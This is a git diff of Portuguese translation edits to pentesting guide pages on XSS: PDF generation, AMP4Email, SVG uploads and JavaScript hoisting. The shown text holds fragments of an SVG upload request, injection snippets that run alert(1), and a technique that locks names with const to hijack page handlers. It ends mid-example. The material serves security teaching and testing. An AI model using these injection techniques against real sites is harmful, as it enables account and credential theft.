[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### XSS em PDF criado dinamicamente -Se uma página da web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\ -Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **XSS no Servidor**. +Se uma página web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\ +Então, se o **bot criador do PDF encontrar** algum tipo de **HTML** **tags**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**. + {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Se você não conseguir injetar tags HTML, pode valer a pena tentar **injetar dados PDF**: +Se você não consegue injetar **HTML** **tags** pode valer a pena tentar **injetar dados PDF**: + {{#ref}} pdf-injection.md @@ -1572,15 +1624,15 @@ pdf-injection.md ### XSS em Amp4Email -AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites). +AMP, voltado para acelerar o desempenho de páginas web em dispositivos móveis, incorpora **HTML** **tags** suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diferentes funcionalidades, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites). -O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails. +O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para emails, permitindo que os destinatários interajam com o conteúdo diretamente dentro de seus emails. -Exemplo [**writeup XSS em Amp4Email no Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). +Exemplo [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). -### XSS fazendo upload de arquivos (svg) +### XSS ao enviar arquivos (svg) -Faça upload como uma imagem de um arquivo como o seguinte (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): +Envie como imagem um arquivo como o seguinte (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1636,9 +1688,9 @@ id="foo"/> ```xml ``` -Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Encontre **mais SVG payloads em** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Truques JS Diversos & Informações Relevantes +## Diversos truques de JS & Informações relevantes {{#ref}} @@ -1654,4 +1706,9 @@ other-js-tricks.md - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) +## Referências + +- [De "Low-Impact" RXSS para Credential Stealer: Um walkthrough JS-in-JS](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) +- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index f74d63db3..4f8644c10 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -4,29 +4,29 @@ ## Informações Básicas -Na linguagem JavaScript, um mecanismo conhecido como **Hoisting** é descrito onde declarações de variáveis, funções, classes ou imports são conceitualmente elevadas ao topo de seu escopo antes que o código seja executado. Esse processo é realizado automaticamente pelo motor JavaScript, que percorre o script em várias passagens. +Na linguagem JavaScript existe um mecanismo conhecido como **Hoisting** em que declarações de variáveis, funções, classes ou imports são conceitualmente elevadas ao topo do seu escopo antes da execução do código. Esse processo é realizado automaticamente pelo motor do JavaScript, que percorre o script em múltiplas passadas. -Durante a primeira passagem, o motor analisa o código para verificar erros de sintaxe e o transforma em uma árvore de sintaxe abstrata. Esta fase inclui hoisting, um processo onde certas declarações são movidas para o topo do contexto de execução. Se a fase de análise for bem-sucedida, indicando que não há erros de sintaxe, a execução do script prossegue. +Durante a primeira passagem, o motor analisa o código para verificar erros de sintaxe e o transforma em uma árvore de sintaxe abstrata. Essa fase inclui hoisting, um processo onde certas declarações são movidas para o topo do contexto de execução. Se a fase de parsing for bem-sucedida, indicando ausência de erros de sintaxe, a execução do script prossegue. É crucial entender que: -1. O script deve estar livre de erros de sintaxe para que a execução ocorra. As regras de sintaxe devem ser estritamente seguidas. -2. A colocação do código dentro do script afeta a execução devido ao hoisting, embora o código executado possa diferir de sua representação textual. +1. O script deve estar livre de erros de sintaxe para que a execução ocorra. As regras de sintaxe devem ser rigorosamente respeitadas. +2. A colocação do código dentro do script afeta a execução devido ao hoisting, embora o código executado possa diferir da sua representação textual. #### Tipos de Hoisting Com base nas informações do MDN, existem quatro tipos distintos de hoisting em JavaScript: -1. **Value Hoisting**: Permite o uso do valor de uma variável dentro de seu escopo antes de sua linha de declaração. -2. **Declaration Hoisting**: Permite referenciar uma variável dentro de seu escopo antes de sua declaração sem causar um `ReferenceError`, mas o valor da variável será `undefined`. -3. Este tipo altera o comportamento dentro de seu escopo devido à declaração da variável antes de sua linha de declaração real. +1. **Value Hoisting**: Permite o uso do valor de uma variável dentro do seu escopo antes da linha de declaração. +2. **Declaration Hoisting**: Permite referenciar uma variável dentro do seu escopo antes da sua declaração sem causar um `ReferenceError`, mas o valor da variável será `undefined`. +3. Esse tipo altera o comportamento dentro do seu escopo porque a declaração da variável é considerada antes da sua linha real de declaração. 4. Os efeitos colaterais da declaração ocorrem antes que o restante do código que a contém seja avaliado. -Em detalhes, declarações de função exibem comportamento de hoisting do tipo 1. A palavra-chave `var` demonstra comportamento do tipo 2. Declarações lexicais, que incluem `let`, `const` e `class`, mostram comportamento do tipo 3. Por fim, declarações `import` são únicas na medida em que são hoisted com comportamentos tanto do tipo 1 quanto do tipo 4. +Em detalhe, declarações de função exibem o comportamento de hoisting do tipo 1. A `var` demonstra o comportamento do tipo 2. Declarações lexicais, que incluem `let`, `const` e `class`, mostram o comportamento do tipo 3. Por fim, declarações `import` são únicas por serem hoisted com os comportamentos de tipo 1 e tipo 4. ## Cenários -Portanto, se você tiver cenários onde pode **Injetar código JS após um objeto não declarado** ser usado, você poderia **corrigir a sintaxe** declarando-o (para que seu código seja executado em vez de gerar um erro): +Portanto, se você tiver cenários onde pode **Inject JS code after an undeclared object** is used, você poderia **fix the syntax** declarando-o (assim seu código será executado em vez de lançar um erro): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -127,11 +127,31 @@ alert(1) - }, }) } +trigger() ``` +### Antecipe declarações posteriores travando um nome com const + +Se você puder executar antes que uma `function foo(){...}` de nível superior seja analisada, declarar uma vinculação léxica com o mesmo nome (por exemplo, `const foo = ...`) impedirá que a declaração de função posterior reatribua esse identificador. Isso pode ser abusado em RXSS para sequestrar manipuladores críticos definidos mais adiante na página: +```javascript +// Malicious code runs first (e.g., earlier inline